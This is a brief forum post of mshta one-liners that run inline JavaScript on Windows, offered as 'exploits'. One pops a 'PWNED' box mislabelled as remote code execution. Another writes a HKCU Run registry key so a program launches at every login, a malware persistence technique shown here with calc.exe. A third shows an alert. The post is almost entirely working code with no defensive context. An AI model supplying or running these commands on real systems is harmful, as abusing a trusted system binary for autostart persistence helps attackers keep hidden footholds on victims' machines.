Code Examples - Mshta + Javascript Exploits

« Older   Newer »
 
  Share  
.
  1. Deadscrool
     
    .

    User deleted


    Show a custom alert message
    CODE
    mshta "javascript:var sh=new ActiveXObject( 'WScript.Shell' ); sh.Popup( 'PWNED', 5, 'Windows 10 RCE', 64 );close()"


    Persistent - Autostart calc.exe with the system
    CODE
    mshta "javascript:var exec = 'calc.exe'; var Shell = new ActiveXObject('WScript.Shell'); Shell.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\calc',exec);close()"


    Simple alert message
    CODE
    mshta "javascript:alert('yep this works');close()"
     
    .
0 replies since 25/8/2020, 18:35   14 views
  Share  
.